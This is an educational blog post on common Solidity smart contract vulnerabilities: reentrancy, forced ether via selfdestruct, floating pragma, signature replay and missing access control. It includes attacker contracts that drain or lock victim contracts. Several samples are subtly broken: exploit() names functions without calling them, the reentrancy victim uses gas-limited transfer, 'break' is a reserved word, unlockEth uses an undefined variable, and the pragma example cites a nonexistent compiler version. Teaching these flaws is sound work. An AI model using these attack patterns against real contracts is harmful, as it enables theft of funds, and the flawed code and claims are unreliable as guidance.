Common Smart Contract Vulnerabilities

Common Smart Contract Vulnerabilities

·

10 min read

Disclaimer: This article is for educational purposes ONLY!

Smart Contracts Hacking

How it’s possible they can be hacked?

Smart Contracts are a code running on blockchain. This code is public. It is just a matter of time till somebody finds a logic flaw and tries to exploit it. Unlike traditional hacking the smart contract hackers not hunt for data. They hunt for MONEY directly. As smart contracts can hold millions of dollars, their motives are very clear.

How are these hacked?

Usually the flaw is in the smart contract algorithm logic. Not following best practices and neglecting security audits can lead to fascinating results, below are examples.


Smart Contract Reentrancy Vulnerability

Reentrancy vulnerability is a logic flaw on the smart contract function level. Via flawed checks in the function an attacker can call for example withdrawTokens() function and keep on looping the inside logic before the contract is drained completely.

Nowadays as this vulnerability is known and developers get smarter, the smart contract coding best practices strongly suggest using anti-reentrancy methods, like using OpenZeppelin ReentrancyGuard modifier.

The process of smart contract reentrancy vulnerability goes as follows:

  1. There’s a smart contract, let’s call it “CONTRACT A”, that can hold coins or tokens, as users can deposit their funds there.
  2. The attacker examines the smart contract code and finds reentrancy vulnerability on the withdrawTokens() function.
  3. The attacker creates his own smart contract, “CONTRACT B” , that is implementing the logic of exploiting that vulnerability on CONTRACT A.
  4. Then the attack happens that is using the exploit function with fallback function of CONTRACT B, what it does is to deposit funds and immediately withdraw them in one function call. Then the CONTRACT A logic will be hitting the fallback function of CONTRACT B, that will initiate the draining loop until the CONTRACT A balance is 0-ed completely.

Graphical representation of Smart Contract ReEntrancy vulnerability below:

Sketches.png

If You want to follow the logic in code, here are two sample smart contracts I wrote that showcase the process in Solidity:

contract contractA {
    //users balance mapping
    mapping(address=>uint256) public balanceOf;

      //function to deposit funds
    function depositFunds() external payable{ 
        balanceOf[msg.sender] += msg.value;
    }

    //vulnerable function to ReEntrancy
    function withdrawTokens() external payable{
        uint256 userDeposit = balanceOf[msg.sender];
        payable(msg.sender).transfer(userDeposit);
        balanceOf[msg.sender] = 0;
    }
}

And the attack function:

interface contractAInterface {
    function depositFunds() external payable;
    function withdrawTokens() external;
}
contract contractB {
    //point to contract A via interface
    contractAInterface public contractAcontract;

    //contract implements owner role
    address owner;
    constructor(address contractAaddress) {
        contractAcontract = contractAInterface(contractAaddress);
        owner = msg.sender;
    }

    //only creator of Contract can run functions
    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    function exploit() external payable onlyOwner{
        contractAcontract.depositFunds{
            value: msg.value
        };
        contractAcontract.withdrawTokens;
    }

    receive() external payable{
        if(address(contractAcontract).balance > 0) {contractAcontract.withdrawTokens();}
        else payable(address(owner)).transfer(address(this).balance);
    }
}

If the code seems confusing, remember the general process of this attack and refer to the picture above!

Also remember to read the comments in the code, they are there for a reason. 😛


Smart Contract Self-Destruct Vulnerability

The primarily goal of using that solidity function (function “selfdestruct”) is to give developers a possibility to erase their smart contract and to force-fully send the ether stored on that contract somewhere else. Read More

Use cases can be multiple, like erasing unused smart contracts, rug-pulling a project 😉 or as a security practice, that could be called “break-glass procedure”, that is used when there are signals coming about contract funds being drained.

Then developers could use that to save the funds that were stored on the contract.

breakGlass.gif

This vulnerability is a special one as it destroys the attacker contract (remove all smart contract byte code from blockchain) to make the other contract broken via a forced deposit of ether onto the victim smart contract. If the contract has exceeded hardcoded goal it might get locked by it’s own logic.

It can be very well depicted on an example of a fundraising smart contract that has a hardcoded goal.

Let’s say that I want to raise 10 Ether for something, I setup my smart contract to collect 0.5 Ether from every funder that wants to help the “cause”. And smart contract has a hard stop of 10 Eth, no more no less. If the goal is reached, further funding is disabled. For details check out the code and picture below:

Sketches 2.png

// fundraising contract vulnerable to selfdestruct
contract fundraising {
    // set the goal
    uint goal = 10 ether;
    uint fundProgress;
    mapping (address => uint) amountFunded;

    function fund() external payable{
        // set single fund to be 0.5 eth
        require(msg.value == 0.5 ether, "You can only send 0.5 ether at once");
        // if the fund goal reached, stop collecting ether
        require(address(this).balance <= goal, "Fundraising goal reached! Thank You!");

        // increase the fund progress
        fundProgress += msg.value;

        // increase the amount funded by single address
        amountFunded[msg.sender] += msg.value;
    }

    function withdraw() external onlyOwner{
        <LOGIC OF WITHDRAWAL BY FUNDRAISER OWNER>
    }
}

Attacker code:

// attacker contract exploiting selfdestruct
contract breakFundraising{
    fundraising fundraisingContract;

    constructor (fundraising _fundraisingContract) {
        fundraisingContract = fundraising(_fundraisingContract);
    }

    function break() public payable{
        // map the address to the fundraising contract
        address payable fundAddr = payable(address(fundraisingContract));
        // call the selfdestruct on the mapped address
        selfdestruct(fundAddr);
    }
}

Floating Pragma Smart Contract Vulnerability

In smart contract programming, in one of the first lines You have to set value of pragma solidity. That is telling the compiler what version of solidity You wish to use.

But You can do it in a few ways:

  • pragma solidity ^0.8.6; - version 0.8.6 or higher if available.
  • pragma solidity 0.8.4-0.8.8; - version between 0.8.4-0.8.8.
  • pragma solidity >=0.8.0; - version higher or equal 0.8.0. You get the idea.

The vulnerability here comes in the logic available in different versions of solidity in pragma scope.

So let’s take an example of vulnerability in integers: overflow/underflow. In solidity before version 0.8 compiler was not detecting when uint was underflowing or overflowing. That could lead to various abuses when somebody was aware of it.

Example:

Imagine a Bank smart contract where developers set solidity version to: 0.7.9-0.8.1 - I know, weird, but bear with me. 😁

Then the user balance could be at risk as if in the future the user balance were to reach higher number than 2**256. (Total abstraction I know)

Such situation could happen as the version of 0.7.9 is still in scope and it is vulnerable to integer overflow.

Check out this code:

mapping (address => uint) balanceOf;
function transferTokens(address _to, uint256 _amount) {
    require(balanceOf[msg.sender] >= _amount);
    balanceOf[msg.sender] -= _amount;
    balanceOf[_to] += _amount;
}

If the mapping of balanceOf was ever to exceed 2**256 the user balance would go around to 0 and beyond.


Replay Signature Vulnerability

This vulnerability lies in the cryptographic signing of transactions on blockchains, in this case Ethereum.

How Ethereum verifies signatures

It is done most commonly by implementing the Public / Private Key approach. So one Ethereum account posses two Secp256k1 keys. Where Secp256k1 is just an elliptic curve used by Ethereum.

That’s all You need to know 👍

The signature has two important characteristics:

  • The signing entity can be identified via the public key, that is known publicly (hence Public Key).
  • The signature integrity is undoubted due to said entities possession of private key. (Only the owner of Private key can sign stuff using that key).

One important fact here is that signing of the message does not make it anyhow unique, unless some randomisation techniques are implemented.

Is your imagination working now? 😈

Let’s dig into Ethereum cryptography a little deeper.

It uses ECDSA -> ~Elliptic Curve Digital Signature Algorithm~ along with Secp256k1 curve (You read about it one moment ago 😉) .

To utilise that algorithm, there’s a solidity built in method called ecrecover, what is does generally, it allows to recover the original address of the signature owner.

As in the code below:

address originalSigner = ecrecover(hashedData, v, r, s)

Where the missing variables are respectively:

  • r -> First 32 bytes of the signature
  • s -> Next 32 bytes of the signature
  • v -> 65th byte of the signature

Source: Solidity documentation

Have enough yet? 😂

brainExploade.gif

Time for an attack scenario:

Imagine a smart contract that is part of a cross chain bridge, let’s say Ronin-Ethereum. For those that don’t know construction of such bridges, they are made of 2 smart contracts, one on each compatible chain and a “synchronising worker” that is kept off-chains.

Like so:

Sketches 3.png

It functions by locking one coin (for example Eth) in one side contract and via the information passed by off-chain worker to the other contract, a WETH is generated (wrapped Eth) on the other blockchain. Vice versa the process is opposite, WETH is burned and Eth is unlocked.

Continuing: It has a function for unlocking eth that also checks for validator address:

function unlockEth(
  address _targetAddress,
  uint256 _amount,
  uint8[] _v,
  bytes32[] _r,
  bytes32[] _s
)
  external
{
    // as in Ronin during March 2022, 5 signatures required
  require(_v.length >= 5);
  bytes32 hashedData = keccak256(abi.encodePacked(_to, _amount));
  for (uint i = 0; i < _v.length; i++) {
    address receivedAddr = ecrecover(hashedData, _v[i], _r[i], _s[i]);
    require(_isValidator(receivedAddr));
  }
  _to.transfer(_amount);
}

Very important note here is to mention that the code is missing the randomisation logic for signatures… A random value, so called nonce could dramatically increase the security of such code. But in such shape, scenario is as follows:

Signature replay vulnerability grand finale

That function will be used by a relayer after collecting required validator signatures. So if an attacker was to track transactions with “unlockEth” function calls in this bridge using etherscan for example.. He/She could READ the signatures used in transactions. (As that is public)

Next step is the attacker copies the validator signatures used in transaction and forges the “unlockEth” transaction for himself… done that many times the bridge is drained.


Improper access control vulnerability

This vulnerability lies mainly in improper implementing the function limits in terms of who can call them and who cannot. Some contract even don’t have that.. But that lack of awareness or just simply neglecting basic security rules can be very costly..

Let me show You how:

Abuse of access control

Imagine a smart contract that can gather funds, for example a fundraiser contract. It has a function to deposit funds and one to withdraw the gathered coins.

BUT! Once the fundraiser goal has been reached ONLY the contract owner should be eligible to withdraw the coins. Unfortunately, the contract has a withdraw function written as such:

function withdraw() public {
       payable(msg.sender).transfer(address(this).balance);
    }

There are 2 bad things here that are visible from mile away:

  1. This function should not be publicly available for ANYONE to call. As any everyday Joe that reads the contract code can drain it! 💀
  2. It should have implemented self-made owner function modifier or import with contract inheritance of OpenZeppelin Ownable contract).

Something of that sort:

modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

So a secured version of that contract would look like this:

// constructor that assings owner role to contract creator
constructor() {
        owner = msg.sender;
    }
// a modifier allowing to call withdraw to owner
modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }
// and an improved function
function withdraw() external onlyOwner {
       payable(msg.sender).transfer(address(this).balance);
    }

Now it’s fine 👌🏻

So You get the idea; The big question every contract creator should ask themselves is: Who can do what in my contract and if I implemented that correctly.


Conclusion

These attacks are on the list of most common smart contract vulnerabilities found today. Every of these attacks is different and each one of them has a different “kill chain”, all of which start with flawed design of smart contract:

  1. Re-entrancy - Abuse of flawed checks logic allowing for withdrawal looping
  2. Self-destruct - ability to immobilise the contract by abusing hardcoded limits.
  3. Floating Pragma - abusing the solidity pragma range instead of hardcoding the used version that allows adversaries to use “flawed” solidity version that’s in scope.
  4. Replay signature - abuse of lack of signature randomisation that can lead to simple “copy&paste” of function calls.
  5. Improper Access Control - abuse of improper access control in smart contract or even simple lack of it.